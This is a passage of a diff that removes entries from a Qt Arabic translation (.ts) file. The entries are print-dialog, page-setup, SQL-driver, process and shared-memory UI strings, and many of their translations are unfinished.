- <source>Could not begin transaction</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+17"/>
- <source>Could not commit transaction</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+16"/>
- <source>Could not rollback transaction</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+358"/>
- <source>Unable to subscribe</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+32"/>
- <source>Unable to unsubscribe</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QPSQLResult</name>
- <message>
- <location line="-1058"/>
- <source>Unable to create query</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+374"/>
- <source>Unable to prepare statement</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QPageSetupWidget</name>
- <message>
- <location filename="../src/gui/dialogs/qpagesetupdialog_unix.cpp" line="+304"/>
- <source>Centimeters (cm)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+0"/>
- <source>Millimeters (mm)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+0"/>
- <source>Inches (in)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+0"/>
- <source>Points (pt)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/gui/dialogs/qpagesetupwidget.ui"/>
- <source>Form</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>Paper</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>Page size:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>Width:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>Height:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>Paper source:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>Orientation</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>Portrait</source>
- <translation type="unfinished">صورة</translation>
- </message>
- <message>
- <location/>
- <source>Landscape</source>
- <translation type="unfinished">منظر</translation>
- </message>
- <message>
- <location/>
- <source>Reverse landscape</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>Reverse portrait</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>Margins</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>top margin</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>left margin</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>right margin</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>bottom margin</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QPluginLoader</name>
- <message>
- <location filename="../src/corelib/plugin/qpluginloader.cpp" line="+24"/>
- <source>Unknown error</source>
- <translation type="unfinished">خطأ مجهول</translation>
- </message>
- <message>
- <location line="-68"/>
- <source>The plugin was not loaded.</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QPrintDialog</name>
- <message>
- <location filename="../src/gui/painting/qprinterinfo_unix.cpp" line="+98"/>
- <source>locally connected</source>
- <translation>موصل محليّا</translation>
- </message>
- <message>
- <location line="+23"/>
- <location line="+225"/>
- <source>Aliases: %1</source>
- <translation>بدائل: %1</translation>
- </message>
- <message>
- <location line="+223"/>
- <location line="+199"/>
- <source>unknown</source>
- <translation>مجهول</translation>
- </message>
- <message>
- <location filename="../src/gui/dialogs/qprintdialog_win.cpp" line="+268"/>
- <source>OK</source>
- <translation type="unfinished">موافقة</translation>
- </message>
- <message>
- <source>Cancel</source>
- <translation type="obsolete">إلغاء</translation>
- </message>
- <message>
- <source>Print in color if available</source>
- <translation type="obsolete">طباعة بالألوان إن توفّرت</translation>
- </message>
- <message>
- <source>Printer</source>
- <translation type="obsolete">الطّابعة</translation>
- </message>
- <message>
- <location filename="../src/gui/dialogs/qprintdialog_qws.cpp" line="+375"/>
- <source>Print all</source>
- <translation type="unfinished">طباعة الجميع</translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Print range</source>
- <translation type="unfinished">مدى الطّباعة</translation>
- </message>
- <message>
- <source>Print last page first</source>
- <translation type="obsolete">طباعة الصّفحة الخيرة أوّلا</translation>
- </message>
- <message>
- <source>Number of copies:</source>
- <translation type="obsolete">عدد النّسخ:</translation>
- </message>
- <message>
- <source>Paper format</source>
- <translation type="obsolete">مقاييس الورق</translation>
- </message>
- <message>
- <source>Portrait</source>
- <translation type="obsolete">صورة</translation>
- </message>
- <message>
- <source>Landscape</source>
- <translation type="obsolete">منظر</translation>
- </message>
- <message>
- <location line="-48"/>
- <source>A0 (841 x 1189 mm)</source>
- <translation>أ0 (841 × 1189 مم)</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>A1 (594 x 841 mm)</source>
- <translation>أ1 (594 × 841 مم)</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>A2 (420 x 594 mm)</source>
- <translation>أ2 (420 × 594 مم)</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>A3 (297 x 420 mm)</source>
- <translation>أ3 (297 × 420 مم)</translation>
- </message>
- <message>
- <location line="+2"/>
- <source>A5 (148 x 210 mm)</source>
- <translation>أ5 (148 × 210 مم)</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>A6 (105 x 148 mm)</source>
- <translation>أ6 (105 × 148 مم)</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>A7 (74 x 105 mm)</source>
- <translation>أ7 (74 × 105 مم)</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>A8 (52 x 74 mm)</source>
- <translation>أ8 (52 × 74 مم)</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>A9 (37 x 52 mm)</source>
- <translation>أ9 (37 × 52 مم)</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>B0 (1000 x 1414 mm)</source>
- <translation>ب0 (1000 × 1414 مم)</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>B1 (707 x 1000 mm)</source>
- <translation>ب1 (707 × 1000 مم)</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>B2 (500 x 707 mm)</source>
- <translation>ب2 (500 × 707 مم)</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>B3 (353 x 500 mm)</source>
- <translation>ب3 (353 × 500 مم)</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>B4 (250 x 353 mm)</source>
- <translation>ب4 (250 × 353 مم)</translation>
- </message>
- <message>
- <location line="+2"/>
- <source>B6 (125 x 176 mm)</source>
- <translation>ب6 (125 × 176 مم)</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>B7 (88 x 125 mm)</source>
- <translation>ب7 (88 × 125 مم)</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>B8 (62 x 88 mm)</source>
- <translation>ب4 (62 × 88 مم)</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>B9 (44 x 62 mm)</source>
- <translation>ب9 (44 × 62 مم)</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>B10 (31 x 44 mm)</source>
- <translation>ب10 (31 × 44 مم)</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>C5E (163 x 229 mm)</source>
- <translation>سي5إي (163 × 229 مم)</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>DLE (110 x 220 mm)</source>
- <translation>دي أل إي (110 × 220 مم)</translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Folio (210 x 330 mm)</source>
- <translation>ملفّ (210 × 330 مم)</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Ledger (432 x 279 mm)</source>
- <translation>دفتر (432 × 279 مم)</translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Tabloid (279 x 432 mm)</source>
- <translation>جريدة (279 × 432 مم)</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>US Common #10 Envelope (105 x 241 mm)</source>
- <translation>غلاف رسالة أمريكية متداولة رقم 10 (105 × 241 مم)</translation>
- </message>
- <message>
- <location line="-25"/>
- <source>A4 (210 x 297 mm, 8.26 x 11.7 inches)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+11"/>
- <source>B5 (176 x 250 mm, 6.93 x 9.84 inches)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+8"/>
- <source>Executive (7.5 x 10 inches, 191 x 254 mm)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Legal (8.5 x 14 inches, 216 x 356 mm)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Letter (8.5 x 11 inches, 216 x 279 mm)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/gui/dialogs/qabstractprintdialog.cpp" line="+110"/>
- <location line="+13"/>
- <location filename="../src/gui/dialogs/qprintdialog_win.cpp" line="-2"/>
- <source>Print</source>
- <translation type="unfinished">طباعة</translation>
- </message>
- <message>
- <source>File</source>
- <translation type="obsolete">ملفّ</translation>
- </message>
- <message>
- <location filename="../src/gui/dialogs/qprintdialog_unix.cpp" line="-357"/>
- <source>Print To File ...</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+80"/>
- <source>File %1 is not writable.
-Please choose a different file name.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+4"/>
- <source>%1 already exists.
-Do you want to overwrite it?</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/gui/dialogs/qprintdialog_qws.cpp" line="-208"/>
- <source>File exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>&lt;qt&gt;Do you want to overwrite it?&lt;/qt&gt;</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+227"/>
- <source>Print selection</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/gui/dialogs/qprintdialog_unix.cpp" line="-8"/>
- <source>%1 is a directory.
-Please choose a different file name.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/gui/dialogs/qpagesetupdialog_unix.cpp" line="-232"/>
- <source>A0</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>A1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>A2</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>A3</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>A4</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>A5</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>A6</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>A7</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>A8</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>A9</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>B0</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>B1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>B2</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>B3</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>B4</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>B5</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>B6</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>B7</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>B8</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>B9</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>B10</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>C5E</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>DLE</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Executive</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Folio</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Ledger</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Legal</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Letter</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Tabloid</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>US Common #10 Envelope</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Custom</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/gui/dialogs/qprintdialog_unix.cpp" line="-522"/>
- <location line="+68"/>
- <source>&amp;Options &gt;&gt;</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-63"/>
- <source>&amp;Print</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+67"/>
- <source>&amp;Options &lt;&lt;</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+253"/>
- <source>Print to File (PDF)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Print to File (Postscript)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+45"/>
- <source>Local file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Write %1 file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/gui/dialogs/qprintdialog_win.cpp" line="+1"/>
- <source>The &apos;From&apos; value cannot be greater than the &apos;To&apos; value.</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QPrintPreviewDialog</name>
- <message>
- <location filename="../src/gui/dialogs/qabstractpagesetupdialog.cpp" line="+68"/>
- <location line="+12"/>
- <source>Page Setup</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/gui/dialogs/qprintpreviewdialog.cpp" line="+252"/>
- <source>%1%</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+79"/>
- <source>Print Preview</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+29"/>
- <source>Next page</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Previous page</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>First page</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Last page</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+9"/>
- <source>Fit width</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Fit page</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+11"/>
- <source>Zoom in</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Zoom out</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+6"/>
- <source>Portrait</source>
- <translation type="unfinished">صورة</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Landscape</source>
- <translation type="unfinished">منظر</translation>
- </message>
- <message>
- <location line="+10"/>
- <source>Show single page</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Show facing pages</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Show overview of all pages</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+15"/>
- <source>Print</source>
- <translation type="unfinished">طباعة</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Page setup</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Close</source>
- <translation type="unfinished">إغلاق</translation>
- </message>
- <message>
- <location line="+151"/>
- <source>Export to PDF</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Export to PostScript</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QPrintPropertiesDialog</name>
- <message>
- <source>Save</source>
- <translation type="obsolete">حفظ</translation>
- </message>
- <message>
- <source>OK</source>
- <translation type="obsolete">موافقة</translation>
- </message>
-</context>
-<context>
- <name>QPrintPropertiesWidget</name>
- <message>
- <location filename="../src/gui/dialogs/qprintpropertieswidget.ui"/>
- <source>Form</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>Page</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>Advanced</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QPrintSettingsOutput</name>
- <message>
- <location filename="../src/gui/dialogs/qprintsettingsoutput.ui"/>
- <source>Form</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>Copies</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>Print range</source>
- <translation type="unfinished">مدى الطّباعة</translation>
- </message>
- <message>
- <location/>
- <source>Print all</source>
- <translation type="unfinished">طباعة الجميع</translation>
- </message>
- <message>
- <location/>
- <source>Pages from</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>to</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>Selection</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>Output Settings</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>Copies:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>Collate</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>Reverse</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>Options</source>
- <translation type="unfinished">خيارات</translation>
- </message>
- <message>
- <location/>
- <source>Color Mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>Color</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>Grayscale</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>Duplex Printing</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>None</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>Long side</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>Short side</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QPrintWidget</name>
- <message>
- <location filename="../src/gui/dialogs/qprintwidget.ui"/>
- <source>Form</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>Printer</source>
- <translation type="unfinished">الطّابعة</translation>
- </message>
- <message>
- <location/>
- <source>&amp;Name:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>P&amp;roperties</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>Location:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>Preview</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>Type:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>Output &amp;file:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>...</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QProcess</name>
- <message>
- <location filename="../src/corelib/io/qprocess_unix.cpp" line="+475"/>
- <location filename="../src/corelib/io/qprocess_win.cpp" line="+147"/>
- <source>Could not open input redirection for reading</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+12"/>
- <location filename="../src/corelib/io/qprocess_win.cpp" line="+36"/>
- <source>Could not open output redirection for writing</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+235"/>
- <source>Resource error (fork failure): %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+259"/>
- <location line="+53"/>
- <location line="+74"/>
- <location line="+67"/>
- <location filename="../src/corelib/io/qprocess_win.cpp" line="+422"/>
- <location line="+50"/>
- <location line="+75"/>
- <location line="+42"/>
- <location line="+54"/>
- <source>Process operation timed out</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/corelib/io/qprocess.cpp" line="+533"/>
- <location line="+52"/>
- <location filename="../src/corelib/io/qprocess_win.cpp" line="-211"/>
- <location line="+50"/>
- <source>Error reading from process</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+47"/>
- <location line="+779"/>
- <location filename="../src/corelib/io/qprocess_win.cpp" line="+140"/>
- <source>Error writing to process</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-709"/>
- <source>Process crashed</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+912"/>
- <source>No program defined</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/corelib/io/qprocess_win.cpp" line="-341"/>
- <source>Process failed to start</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QProgressDialog</name>
- <message>
- <location filename="../src/gui/dialogs/qprogressdialog.cpp" line="+182"/>
- <source>Cancel</source>
- <translation>إلغاء</translation>
- </message>
-</context>
-<context>
- <name>QPushButton</name>
- <message>
- <location filename="../src/plugins/accessible/widgets/simplewidgets.cpp" line="-8"/>
- <source>Open</source>
- <translation type="unfinished">فتح</translation>
- </message>
-</context>
-<context>
- <name>QRadioButton</name>
- <message>
- <location line="+12"/>
- <source>Check</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QRegExp</name>
- <message>
- <location filename="../src/corelib/tools/qregexp.cpp" line="+64"/>
- <source>no error occurred</source>
- <translation>لم يحدث هناك أيّ خطأ</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>disabled feature used</source>
- <translation>تمّ استعمال خاصيّة التّوقيف</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>bad char class syntax</source>
- <translation>خطأ نركيبي: صنف الرّمز</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>bad lookahead syntax</source>
- <translation>خطأ تركيبي: النّظر إلى الأمام</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>bad repetition syntax</source>
- <translation>خطأ نركيبي: تكرار</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>invalid octal value</source>
- <translation>قيمة ثمانية غبر صالحة</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>missing left delim</source>
- <translation>الفاصل الأيسر ناقص</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>unexpected end</source>
- <translation>نهاية غير متوقّعة</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>met internal limit</source>
- <translation>تمّ الوصول إلى الحدّ الدّاخلي</translation>
- </message>
-</context>
-<context>
- <name>QSQLite2Driver</name>
- <message>
- <location filename="../src/sql/drivers/sqlite2/qsql_sqlite2.cpp" line="+396"/>
- <source>Error to open database</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+41"/>
- <source>Unable to begin transaction</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+17"/>
- <source>Unable to commit transaction</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+17"/>
- <source>Unable to rollback Transaction</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QSQLite2Result</name>
- <message>
- <location line="-323"/>
- <source>Unable to fetch results</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+147"/>
- <source>Unable to execute statement</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QSQLiteDriver</name>
- <message>
- <location filename="../src/sql/drivers/sqlite/qsql_sqlite.cpp" line="+528"/>
- <source>Error opening database</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+11"/>
- <source>Error closing database</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+20"/>
- <source>Unable to begin transaction</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+15"/>
- <source>Unable to commit transaction</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+15"/>
- <source>Unable to rollback transaction</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QSQLiteResult</name>
- <message>
- <location line="-400"/>
- <location line="+66"/>
- <location line="+8"/>
- <source>Unable to fetch row</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+63"/>
- <source>Unable to execute statement</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+20"/>
- <source>Unable to reset statement</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+45"/>
- <source>Unable to bind parameters</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+7"/>
- <source>Parameter count mismatch</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-208"/>
- <source>No query</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QScrollBar</name>
- <message>
- <location filename="../src/gui/widgets/qscrollbar.cpp" line="+448"/>
- <source>Scroll here</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Left edge</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+0"/>
- <source>Top</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Right edge</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+0"/>
- <source>Bottom</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Page left</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+0"/>
- <location filename="../src/plugins/accessible/widgets/rangecontrols.cpp" line="+143"/>
- <source>Page up</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Page right</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+0"/>
- <location filename="../src/plugins/accessible/widgets/rangecontrols.cpp" line="+4"/>
- <source>Page down</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Scroll left</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+0"/>
- <source>Scroll up</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Scroll right</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+0"/>
- <source>Scroll down</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/plugins/accessible/widgets/rangecontrols.cpp" line="-6"/>
- <source>Line up</source>
- <translation type="unfinished">تصفيف</translation>
- </message>
- <message>
- <location line="+4"/>
- <source>Position</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+4"/>
- <source>Line down</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QSharedMemory</name>
- <message>
- <location filename="../src/corelib/kernel/qsharedmemory.cpp" line="+207"/>
- <source>%1: unable to set key on lock</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+81"/>
- <source>%1: create size is less then 0</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+168"/>
- <location filename="../src/corelib/kernel/qsharedmemory_p.h" line="+148"/>
- <source>%1: unable to lock</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+22"/>
- <source>%1: unable to unlock</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/corelib/kernel/qsharedmemory_unix.cpp" line="+78"/>
- <location filename="../src/corelib/kernel/qsharedmemory_win.cpp" line="+87"/>
- <source>%1: permission denied</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+4"/>
- <location filename="../src/corelib/kernel/qsharedmemory_win.cpp" line="-22"/>
- <source>%1: already exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+4"/>
- <location filename="../src/corelib/kernel/qsharedmemory_win.cpp" line="+9"/>
- <source>%1: doesn&apos;t exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+6"/>
- <location filename="../src/corelib/kernel/qsharedmemory_win.cpp" line="+9"/>
- <source>%1: out of resources</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+4"/>
- <location filename="../src/corelib/kernel/qsharedmemory_win.cpp" line="+7"/>
- <source>%1: unknown error %2</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+21"/>
- <source>%1: key is empty</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+8"/>
- <source>%1: unix key file doesn&apos;t exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+7"/>
- <source>%1: ftok failed</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+51"/>
- <location filename="../src/corelib/kernel/qsharedmemory_win.cpp" line="+15"/>
- <source>%1: unable to make key</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+20"/>
- <source>%1: system-imposed size restrictions</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+53"/>
- <source>%1: not attached</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/corelib/kernel/qsharedmemory_win.cpp" line="-27"/>
- <source>%1: invalid size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+68"/>
- <source>%1: key error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+38"/>
- <source>%1: size query failed</source>
